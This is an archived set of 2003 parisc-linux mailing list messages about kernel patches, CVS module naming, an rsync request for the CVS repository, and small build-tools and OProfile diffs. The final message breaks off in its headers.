it's in 2.4.20-pa35 now.

Joel, do you think you can come up with a version that applies to 2.5 as
well?

thanks,
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?ISO-8859-1?Q?Thibaut_VAR=C8NE?= <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] isobuild.sh read access?
Date: Wed, 7 May 2003 19:50:37 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <69160AB4-80B4-11D7-83E2-0030656F07A2@esiee.fr>
References: <3EB772D800000CBA@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v552)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622434 25451 80.91.229.3 (22 Nov 2014 02:13:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Joel Soete" <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 11:50:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id DEE914829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 11:50:39 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id BCE9A49DB2; Wed,  7 May 2003 19:50:38 +0200 (CEST)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 2C01549DB0; Wed,  7 May 2003 19:50:38 +0200 (CEST)
In-Reply-To: <3EB772D800000CBA@ocpmta2.freegates.net>
X-Mailer: Apple Mail (2.552)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18409

Le mercredi, 7 mai 2003, =E0 18:35 Europe/Paris, Joel Soete a =E9crit :
>
> You don't have permission to access /archive/scripts/isobuild.sh on=20
> this
> server.
corrected
>
> Thanks in advance for help,
>     Joel
>
> PS: Would it not be put also into build-tools cvs tree?
i don't think so.
it's not useable per se, and I think you'll have trouble with it.
it's just published to give an idea what has to be done to build an ISO.


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Wed, 7 May 2003 19:51:55 +0200
Lines: 45
Approved: news@gmane.org
Message-ID: <20030507175155.GJ27494@lug-owl.de>
References: <20030507154817.GH27494@lug-owl.de> <3EB772D800000C9F@ocpmta2.freegates.net> <20030507171734.GG23465@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="GN/IAAAoV4GJoJGS"
X-Trace: ger.gmane.org 1416622434 25454 80.91.229.3 (22 Nov 2014 02:13:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 11:51:57 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE7304829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 11:51:56 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 0A3324AB96; Wed,  7 May 2003 19:51:55 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030507171734.GG23465@tausq.org>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18410

--GN/IAAAoV4GJoJGS
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Wed, 2003-05-07 10:17:34 -0700, Randolph Chung <randolph@tausq.org>
wrote in message <20030507171734.GG23465@tausq.org>:
> > >So I think it would be nice to put this patch into CVS.
> > >
> > I hope also it will be ci but I could not help.
>=20
> it's in 2.4.20-pa35 now.
>=20
> Joel, do you think you can come up with a version that applies to 2.5 as
> well?

Thanks. This reminds me that I'd still *love* to see the CVS repository
rsync'able. That'd really help me. However, it's at least nice to be
basically able to rsync the checked-out source trees.

Any chances for a rsync for the CVS repo?

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--GN/IAAAoV4GJoJGS
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+uUe7Hb1edYOZ4bsRAgoNAJ459gpQlbgPHYubXnJGGUQC9rkSoACfUj9K
hE5v3vN0tMabj36pxMQ1LZw=
=3Kq0
-----END PGP SIGNATURE-----

--GN/IAAAoV4GJoJGS--


From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 bame
Date: Thu, 8 May 2003 00:02:49 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20030507220249.GM27494@lug-owl.de>
References: <20030506092335.CA5344829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="sB5q8U+2Z60V3VP3"
X-Trace: ger.gmane.org 1416622434 25457 80.91.229.3 (22 Nov 2014 02:13:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 16:02:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F6584829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 16:02:50 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id A71584AB98; Thu,  8 May 2003 00:02:49 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <20030506092335.CA5344829@dsl2.external.hp.com>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18411

--sB5q8U+2Z60V3VP3
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 2003-05-06 03:23:35 -0600, Paul Bame <bame@dsl2.external.hp.com>
wrote in message <20030506092335.CA5344829@dsl2.external.hp.com>:
> CVSROOT:	/var/cvs
> Module name:	linux-2.5
  ^^^^^^^^^^^^^^^^^^^^^^^

Just a small hint - could anybody please update the web pages on p-l to
actually name this module? I haven't seen it and to test 2.5.x on parisc
(first on b132l, then on 712) I first tried to find a branch on the
"linux" module, remembering that I've seen 2.5.x check-ins. I now got
the module name off this email.

MfG, JBG
PS: Rsyncable CVS repository would be nice:)

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--sB5q8U+2Z60V3VP3
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+uYKJHb1edYOZ4bsRAmDKAJ9m6Fc7EPZPetHwCpOKXz/mU7CqxQCfTDWe
54FEWVbcJK1GQkf8C40OzEU=
=G0kQ
-----END PGP SIGNATURE-----

--sB5q8U+2Z60V3VP3--


From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 bame
Date: Wed, 7 May 2003 15:09:37 -0700
Lines: 33
Approved: news@gmane.org
Message-ID: <20030507220937.GA4509@tausq.org>
References: <20030506092335.CA5344829@dsl2.external.hp.com> <20030507220249.GM27494@lug-owl.de>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="YZ5djTAD1cGYuMQK"
X-Trace: ger.gmane.org 1416622435 25460 80.91.229.3 (22 Nov 2014 02:13:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 16:10:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 41DD54829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 16:10:22 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 6BF2FCD295; Wed,  7 May 2003 15:09:37 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030507220249.GM27494@lug-owl.de>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18412

--YZ5djTAD1cGYuMQK
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

> PS: Rsyncable CVS repository would be nice:)

Out of curiosity -- why do you want a rsync'able cvs? if you are not
going to work directly from the master repository, we already produce
daily cvs diffs that are on the ftp.p-l.org site. if you need
up-to-the-minute updates, then why not directly use cvs? cvs.p-l.org
seems to have decent bandwidth to various places...

randolph
--=20
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/

--YZ5djTAD1cGYuMQK
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+uYQhULspdC1Zp9IRAkTYAJoDvxkqIOYV0vnUq7+3MpqLznU1awCgoOGh
d1Sg2VuTxtcbCiyBuqCJCpk=
=OvgG
-----END PGP SIGNATURE-----

--YZ5djTAD1cGYuMQK--


From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 bame
Date: Wed, 7 May 2003 16:57:59 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030507225759.GA1174@dsl2.external.hp.com>
References: <20030506092335.CA5344829@dsl2.external.hp.com> <20030507220249.GM27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622435 25462 80.91.229.3 (22 Nov 2014 02:13:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:55 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 16:57:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id DA13D4829; Wed,  7 May 2003 16:57:59 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030507220249.GM27494@lug-owl.de>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18413

On Thu, May 08, 2003 at 12:02:49AM +0200, Jan-Benedict Glaw wrote:
> Just a small hint - could anybody please update the web pages on p-l to
> actually name this module?

Which web page did you think should (but didn't) mention linux-2.5?

See http://cvs.parisc-linux.org/ for a complete list of repositories.

I'll take patches for the CVS "web" repository.

BTW, some are obsolete. I know linux, linux-2.5, palo, web, and build-tools
are "live" (most current versions). I don't know about the others.

grant


From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH-build-tools] Generate linux-2.5 tarball
Date: Thu, 8 May 2003 07:41:18 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20030508054118.GO27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="LXESt2jNC8oCvz8w"
X-Trace: ger.gmane.org 1416622435 25464 80.91.229.3 (22 Nov 2014 02:13:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 23:41:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70C894829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 23:41:20 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 5DB1C4AB9A; Thu,  8 May 2003 07:41:19 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18414

--LXESt2jNC8oCvz8w
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

Playing with 2.5.x, I think we'd also push out a 2.5.x snapshot. Here's
the patch:


Index: mk.cvs.tarballs
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/build-tools/mk.cvs.tarballs,v
retrieving revision 1.6
diff -u -r1.6 mk.cvs.tarballs
--- mk.cvs.tarballs	24 Oct 2001 20:27:19 -0000	1.6
+++ mk.cvs.tarballs	8 May 2003 05:38:21 -0000
@@ -7,7 +7,7 @@
=20
 ################### Lots of stuff you may want to customize here ######
 # List of stuff in CVS to package
-PACKAGES=3D'linux palo gcc gdb'
+PACKAGES=3D'linux linux-2.5 palo gcc gdb'
=20
 # Number of older tarballs to keep around
 KEEP=3D3


MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--LXESt2jNC8oCvz8w
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+ue3+Hb1edYOZ4bsRAh8XAJ9RUIGCL4AawLFqDq93qjyRGxjvwQCfbTmG
amthogTl1Xe7EJr3cEF+GYA=
=Euse
-----END PGP SIGNATURE-----

--LXESt2jNC8oCvz8w--


From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH-linux-2.5] Add missing include to OProfile
Date: Thu, 8 May 2003 07:46:09 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <20030508054607.GP27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="3m6VNgM56Nljn+Yv"
X-Trace: ger.gmane.org 1416622435 25467 80.91.229.3 (22 Nov 2014 02:13:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:55 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 23:46:25 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 21A6A4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 23:46:25 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id C1FF74AB9D; Thu,  8 May 2003 07:46:11 +0200 (CEST)
Content-Disposition: inline
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18415

--3m6VNgM56Nljn+Yv
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi!

With OProfile <m>odularized, this patch is needed to build it:


Index: arch/parisc/oprofile/init.c
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /var/cvs/linux-2.5/arch/parisc/oprofile/init.c,v
retrieving revision 1.4
diff -u -r1.4 init.c
--- arch/parisc/oprofile/init.c	5 May 2003 17:05:49 -0000	1.4
+++ arch/parisc/oprofile/init.c	8 May 2003 05:43:41 -0000
@@ -10,6 +10,7 @@
 #include <linux/kernel.h>
 #include <linux/oprofile.h>
 #include <linux/init.h>
+#include <linux/errno.h>
 =20
 extern void timer_init(struct oprofile_operations ** ops);
=20


MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--3m6VNgM56Nljn+Yv
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+ue8eHb1edYOZ4bsRAmDaAJ0RmfwXekvokDQ5QIniwrBjrr6pswCgkCr6
iS46iQgBZzkFlbNLEUqBBxQ=
=k/Ua
-----END PGP SIGNATURE-----

--3m6VNgM56Nljn+Yv--


From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Thu, 8 May 2003 07:52:03 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <3EB7727600000F3A@ocpmta1.freegates.net>
References: <20030507171734.GG23465@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622436 25469 80.91.229.3 (22 Nov 2014 02:13:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:56 +0000 (UTC)
Cc: "Jan-Benedict Glaw" <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 23:52:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9DB504829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 23:52:11 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Thu, 8 May 2003 07:52:03 +0200
In-Reply-To: <20030507171734.GG23465@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
